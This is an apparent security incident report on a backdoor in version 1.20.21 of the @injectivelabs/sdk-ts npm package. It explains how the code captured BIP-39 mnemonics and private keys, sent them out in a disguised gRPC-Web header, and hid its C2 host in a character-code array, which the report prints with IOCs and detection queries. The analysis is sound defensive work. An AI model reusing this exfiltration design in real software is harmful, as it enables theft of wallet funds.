## Incident Overview

On July 8, 2026, an attacker compromised the GitHub and npm account of thomasRalee (thomas.leera@gmail.com), an established maintainer of the @injectivelabs/sdk-ts SDK — the core TypeScript library for the Injective blockchain ecosystem (~175,000 monthly downloads, ~50,000 weekly). The attacker pushed three commits directly to the main branch of the InjectiveLabs/injective-ts repository, adding a 79-line file (src/utils/key-derivation-telemetry.ts) that disguised a credential-stealing backdoor as anonymous SDK telemetry. The malicious version (1.20.21) was published to npm at 20:59:28 UTC via the repository's own GitHub Actions OIDC trusted-publisher workflow (run 28975012939). The attacker simultaneously published 17 sibling @injectivelabs/* packages at 1.20.21, each pinned to the compromised SDK, creating a transitive dependency exposure vector.

## Attack Vector: Maintainer Account Compromise

The attacker gained access to the account of thomasRalee, not a newly created throwaway account but a trusted contributor with established commit history and npm publishing rights. The malicious commits were authored and pushed under thomasRalee's identity with no associated pull request, indicating the attacker had either direct push permissions or bypassed branch-protection rules. The first suspicious activity was a test branch called test-backdoor-check (~18:06 UTC) used to verify write access. The three malicious commits were performed from a machine in the UTC-4 timezone — a timezone scatter-plot analysis showed this was "a timezone never previously used by this user," strongly suggesting a compromised maintainer account rather than an insider.

## Malicious Code: The key-derivation-telemetry.ts Backdoor

The 79-line payload was added at src/utils/key-derivation-telemetry.ts and compiled into dist/esm/accounts-jQ1GSgaW.js and dist/cjs/accounts-Cy0p4lLW.cjs. It was wired into two canonical wallet-construction static methods on the PrivateKey class:

- **PrivateKey.fromMnemonic(words)** — Immediately after the method signature, the attacker inserted trackKeyDerivation('fm', words), capturing the full BIP-39 mnemonic seed phrase (12 or 24 words). This is the master secret for every wallet address derivable from it. - **PrivateKey.fromHex(privateKey)** — The attacker inserted trackKeyDerivation('fh', typeof privateKey === 'string' ? privateKey : 'bytes'), capturing the raw hex private key. If the input was a Uint8Array byte array, the string 'bytes' was sent instead (the full hex key is still passed when the caller converts bytes to hex before calling fromHex, which both EthSecp256k1Wallet.fromKey() and DirectEthSecp256k1Wallet.fromKey() do). - **PrivateKey.generate()** — Indirectly affected because it internally creates a mnemonic and calls fromMnemonic(), meaning a freshly generated wallet could be queued for exfiltration before the caller received the key object.

The MsgBroadcasterWithPk class (transaction broadcaster) imports PrivateKey and calls fromHex() when options.privateKey is not already a PrivateKey object, extending the reach beyond direct wallet-loading code.

The file opened with a deliberately misleading JSDoc comment: "Key derivation telemetry — collects anonymized usage metrics for SDK optimization" and the commit was labeled "chore: add key derivation telemetry for SDK usage analytics" to appear innocuous during code review.

## Exfiltration Mechanism

Captured secrets were pushed into an in-memory queue with a method prefix and timestamp: _q.push(method + ':' + value + ':' + Date.now()). A 2-second debounce timer (setTimeout(..., 2000)) batched multiple derivation events, joining them with pipe characters. On flush:

1. The joined string was base64-encoded: _enc(btoa(value)) 2. The encoded payload was placed in the X-Request-Id HTTP header of a fetch() POST request 3. The request used Content-Type: application/grpc-web+proto to mimic the SDK's normal gRPC-Web traffic 4. The request body was empty (to evade shallow inspection) 5. In browser environments, keepalive: true was set so the request completed even if the page unloaded 6. All errors were silently swallowed with .catch(() => {}) — the backdoor never throws, never logs, never surfaces to the calling application 7. In Node.js environments without fetch(), the code fell back to https.request with the same header shape

## C2 Infrastructure

The C2/exfiltration endpoint was obfuscated as a 48-element JavaScript character-code array:

const _e = [116, 101, 115, 116, 110, 101, 116, 46, 97, 114, 99, 104, 105, 118, 97, 108, 46, 99, 104, 97, 105, 110, 46, 103, 114, 112, 99, 45, 119, 101, 98, 46, 105, 110, 106, 101, 99, 116, 105, 118, 101, 46, 110, 101, 116, 119, 111, 114, 107]; const _d = () => _e.map((x) => String.fromCharCode(x)).join(''); const _ep = 'https://' + _d() + '/';

Decoded: https://testnet.archival.chain.grpc-web.injective.network/

This domain masquerades as a legitimate Injective testnet archival gRPC-Web node. The official testnet endpoint is testnet.sentry.chain.grpc-web.injective.network; the archival subdomain is not publicly documented, but it sits inside the official injective.network domain ecosystem. SlowMist observed the domain resolving to 15.235.87.88 (OVH-Hosting range) during their investigation, with DNS results varying by location and time. Datadog confirmed the endpoint was still accepting requests at publication — they sent a sample payload and received a grpc-status: 12 / "malformed method name: \"/\"" response, consistent with a live gRPC-Web gateway of the same type as Injective's official testnet endpoints.

Note on domain discrepancy: The initial GitHub issue #697 reporter identified the exfiltration destination as hexhole.injective.network, but Datadog's independent reverse-engineering of the code confirmed the runtime-reconstructed hostname is testnet.archival.chain.grpc-web.injective.network. Both domains are included as IOCs.

## Scope and Impact

- **Package downloads**: ~175,000 monthly; ~50,000 weekly; malicious version downloaded ~310 times per official npm stats - **Exposure window**: ~49 minutes (20:59:28 UTC — 21:48:03 UTC on July 8, 2026) - **Directly compromised**: 1 package (sdk-ts) - **Transitive exposure**: 17 sibling packages published at 1.20.21 pinning the malicious SDK - **Dependent packages**: 87 direct dependents; cumulative ~112,000 downloads across the ecosystem - **Impact**: Complete wallet compromise — any BIP-39 mnemonic or private key passed through the affected version during the window must be treated as compromised. The attacker can derive all wallet addresses and keys from the stolen seed phrase and drain funds. - **No CVE assigned**: The Snyk advisory SNYK-JS-INJECTIVELABSSDKTS-17911353 (CVSS 9.3 Critical, CWE-506 Embedded Malicious Code) is the primary vulnerability identifier. Snyk labels the exploit maturity as "Attacked" — active exploitation in the wild.

## Detection

Datadog Code Security (Library Inventory) query: library_name:(@injectivelabs/sdk-ts) library_version:(1.20.21)

Datadog Log Management hunt query: @dns.question.name:testnet.archival.chain.grpc-web.injective.network OR @network.destination.domain:testnet.archival.chain.grpc-web.injective.network OR @http.url:*testnet.archival.chain.grpc-web.injective.network*

Behavioral indicators: 1. PrivateKey.fromMnemonic() followed by a POST to a gRPC-Web endpoint pattern 2. PrivateKey.fromHex() followed by a POST to the same endpoint 3. Empty-body POST with Content-Type: application/grpc-web+proto and a high-entropy (base64-looking) X-Request-Id header 4. Function names trackKeyDerivation, _enc, _send, _flush appearing in the runtime

## Remediation

- Upgrade all @injectivelabs packages to 1.20.23 or later (clean release) - Treat any wallet mnemonic or private key passed through the affected version as compromised — rotate keys and migrate funds immediately - Audit lockfiles and package-manager caches for @injectivelabs/sdk-ts@1.20.21 - Search egress/proxy/DNS logs for the exfiltration domain and the X-Request-Id header pattern - The malicious 1.20.21 has been deprecated on npm but not removed; GitHub release artifacts remain available